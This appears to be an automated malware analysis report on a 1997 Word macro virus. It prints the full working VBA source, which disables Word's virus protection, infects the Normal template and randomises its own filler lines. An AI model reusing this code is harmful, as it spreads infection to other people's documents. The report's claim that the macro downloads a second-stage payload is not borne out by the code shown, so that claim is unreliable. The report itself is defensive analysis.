Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 391abd51a279d10d…

MALICIOUS

Office (OLE)

52.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b63299d2c342f9982d93170f775828fe SHA-1: 20d7f08bd6777baa4788f784c61e079883e8f42e SHA-256: 391abd51a279d10d81dd02bac16e7c2be1885dba4f847f759e0ce6c4bf3a1584
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic markers and a VBA macro that is triggered by the AutoClose event. This macro is designed to execute arbitrary code, likely for downloading and executing a second-stage payload. The presence of the AutoClose macro and the detection by ClamAV as Doc.Trojan.CPCK-3 strongly suggest malicious intent, commonly associated with macro-based malware delivery.

Heuristics 4

  • ClamAV: Doc.Trojan.CPCK-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8964 bytes
SHA-256: f56a0653bf6e80f325ea7910c19504b1092b21ce8b617e931ef2f50edad5e57e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Close()
PLM = GGR + AQR
On Error Resume Next
PAJ = SRI + VTB
UJ26 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
UIL = QBN + KGN
Options.ConfirmConversions = 0
OFG = SSM + VUE
Options.SaveNormalPrompt = 0
PVF = LCV + OAM
Application.EnableCancelKey = 0
CCR = GBG + IGU
Options.VirusProtection = 0
VIG = DDO + JJP
OA92 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
HNE = EMB + KTF
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
RIG = UNN + JCM
Set SJ28 = ActiveDocument.VBProject.VBComponents.Item(1)
PUS = ALU + JOL
CV10 = True
LKH = IFB + FVB
End If
IIK = DKF + NLD
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
UOL = ICR + KQN
Set SJ28 = NormalTemplate.VBProject.VBComponents.Item(1)
SAE = BCH + CAL
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines, "' ****** " & Application.UserName & " was infected " & Now & vbCr
OLS = BEO + JHD
OA92 = OA92 + 2
PUL = BQI + KKE
MD21 = True
HCM = DUC + JGT
End If
QGO = FBA + HRG
If MD21 <> True And CV10 <> True Then GoTo UJ71
FKF = HAK + ETM
If MD21 = True Then SJ28.CodeModule.AddFromString ("Sub AutoClose()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, OA92 - 1))
QUH = LBN + JVC
If CV10 = True Then SJ28.CodeModule.AddFromString ("Sub Document_Close()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, UJ26 - 1))
UNH = DKE + VCA
With SJ28.CodeModule
HMU = LIS + SOP
For x = 2 To (SJ28.CodeModule.CountOfLines - 1) Step 2
VHK = JPD + JLR
.replaceline x, (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " = " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " + " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22)))
LJL = FNK + OTI
Next x
GGD = LEM + HTK
End With
EPQ = NRD + REV
UJ71:
BBR = IKC + CDB
End Sub

' Processing file: /opt/analyzer/scan_staging/83bd0c129cbf44939cf0defb02dccbfb.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11896 bytes
' Line #0:
' 	FuncDefn (Sub Document_Close())
' Line #1:
' 	Ld GGR 
' 	Ld AQR 
' 	Add 
' 	St PLM 
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld SRI 
' 	Ld VTB 
' 	Add 
' 	St PAJ 
' Line #4:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St UJ26 
' Line #5:
' 	Ld QBN 
' 	Ld KGN 
' 	Add 
' 	St UIL 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #7:
' 	Ld SSM 
' 	Ld VUE 
' 	Add 
' 	St OFG 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' 	Ld LCV 
' 	Ld OAM 
' 	Add 
' 	St PVF 
' Line #10:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #11:
' 	Ld GBG 
' 	Ld IGU 
' 	Add 
' 	St CCR 
' Line #12:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #13:
' 	Ld DDO 
' 	Ld JJP 
' 	Add 
' 	St VIG 
' Line #14:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St OA92 
' Line #15:
' 	Ld EMB 
' 	Ld KTF 
' 	Add 
' 	St HNE 
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #17:
' 	Ld UNN 
' 	Ld JCM 
' 	Add 
' 	St RIG 
' Line #18:
' 	Set
... (truncated)

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